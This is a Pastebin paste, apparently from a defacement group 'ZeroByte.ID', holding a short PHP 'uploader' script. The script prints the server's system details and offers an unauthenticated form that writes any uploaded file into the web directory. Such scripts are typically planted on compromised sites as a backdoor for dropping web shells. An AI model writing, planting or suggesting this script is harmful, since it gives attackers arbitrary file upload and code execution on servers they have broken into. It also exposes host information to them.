Advertisement
zerobyte-id

PHP Uploader

Apr 23rd, 2018
5,666
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. echo "PHP Uploader - ZeroByte.ID";
  3. echo "<br>".php_uname()."<br>";
  4. echo "<form method='post' enctype='multipart/form-data'>
  5. <input type='file' name='zb'><input type='submit' name='upload' value='upload'>
  6. </form>";
  7. if($_POST['upload']) {
  8. if(@copy($_FILES['zb']['tmp_name'], $_FILES['zb']['name'])) {
  9. echo "Success!";
  10. } else {
  11. echo "Failed to Upload.";
  12. }
  13. }
  14. ?>
Advertisement
Advertisement
Advertisement
RAW Paste Data Copied
Advertisement